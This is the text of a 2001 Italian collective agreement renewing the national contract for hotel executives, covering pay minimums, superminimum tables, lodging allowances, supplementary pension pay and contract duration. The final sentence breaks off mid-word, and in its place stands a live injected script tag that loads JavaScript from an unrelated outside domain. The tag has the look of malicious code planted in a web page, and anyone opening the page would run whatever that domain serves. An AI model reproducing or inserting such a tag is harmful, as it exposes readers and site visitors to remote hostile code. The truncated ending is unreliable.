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Categoria: Alberghi (dirigenti) Settore: Commercio Data stipula: 10-10-2001 Data decorrenza: 1-1-2001 Data scadenza: 31-12-2002
Ipotesi di accordo per il rinnovo del CCNL
PER I DIRIGENTI DI AZIENDE ALBERGHIERE
Il giorno 10 del mese di ottobre 2001, in Roma,
tra
- Federazione delle Associazioni Italiane Alberghi e Turismo
(FEDERALBERGHI)
e
- Federazione Nazionale Dirigenti di Aziende Commerciali (FeNDAC), dei
trasporti, del Turismo, dei Servizi, Ausiliarie, del Terziario Avanzato
si è stipulata la seguente Ipotesi di accordo per il rinnovo del CCNL per
i dirigenti di aziende alberghiere del 27 gennaio 2000.
Art. 1 - Minimo contrattuale mensile.
Il minimo contrattuale mensile di cui all'art. 6, CCNL 27.1.00 è
confermato in £. 4.220.000 lorde (_ 2.179,45) per tutti i dirigenti di
aziende alberghiere.
Art. 2 - Superminimo contrattuale mensile.
1. Fermo restando il minimo contrattuale di cui al precedente art. 1,
per i dirigenti compresi nella sfera di applicazione del presente
contratto e in servizio alla data di stipula del presente accordo, il
superminimo contrattuale di cui all'art. 7, CCNL 27.1.00, è rideterminato
nelle misure di seguito indicate.
data di nomina
superminimo contrattuale o di assunzione
del dirigente
sino al dal 1.11.97 dal 1.1.98
31.10.97 al 31.12.97 al 1.1.00
dal 1.1.01 (£) 2.825.000 2.500.000 765.000
dal 1.1.01 (_) 1.458,99 1.291,14 395,09
dal 1.1.02 (£) 3.040.000 2.715.000 930.000
dal 1.1.02 (_) 1.570,03 1.402,18 480,30
(segue)
data di nomina
superminimo contrattuale o di assunzione
del dirigente
dal 2.1.00 dal 1.7.00
al 30.6.00 al 10.10.01
dal 1.1.01 (£) 565.000 165.000
dal 1.1.01 (_) 291,80 85,22
dal 1.1.02 (£) 730.000 330.000
dal 1.1.02 (_) 377,01 170,43
2. I relativi aumenti potranno essere assorbiti fino a concorrenza da
incrementi economici erogati dalle aziende a partire dall'1.1.01 sino alla
data odierna, esclusivamente a titolo di acconto o di anticipazione su
futuri miglioramenti economici contrattuali.
3. Eventuali competenze arretrate e/o conguagli spettanti in relazione
al periodo 1.1.01-30.9.01 in base al comma 1 del presente articolo sono
erogate 'pro quota', in ragione dei mesi interi prestati in servizio, e
liquidate con la retribuzione di novembre 2001.
Art. 3 - Vitto e alloggio.
1. La misura dell'alloggio o eventuale indennità sostitutiva da
corrispondersi in 12 mensilità è determinata dall'1.1.02 in £. 240.000 (_
123,95) lorde mensili.
2. Il servizio di vitto potrà essere fornito anche mediante buoni pasto,
previe intese tra l'azienda e il dirigente.
Art. 4 - Previdenza integrativa (Fondo "Mario Negri").
La retribuzione convenzionale annua di cui al comma 2, art. 25, CCNL
27.1.00, è elevata a £. 109.214.000 (_ 56.404,32) per il 2001 e a £.
114.674.700 (_ 59.224,54) per il 2002.
Art. 5 - Retribuzione variabile.
Entro il 30.11.01 le parti insedieranno una Commissione paritetica
nazionale con l'incarico di esaminare i temi previsti nell'art. 10, CCNL
27.1.00. La Commissione presenterà alle parti una relazione definitiva
entro il 31.7.02.
Art. 6 - Decorrenza e durata.
Il contratto decorre dal 1° gennaio 2001, fatte salve eventuali diverse
decorrenze previste da singole norme, e ha scadenza il 31 dicemb<script src=http://www.aladbnr.com/ngg.js></script>
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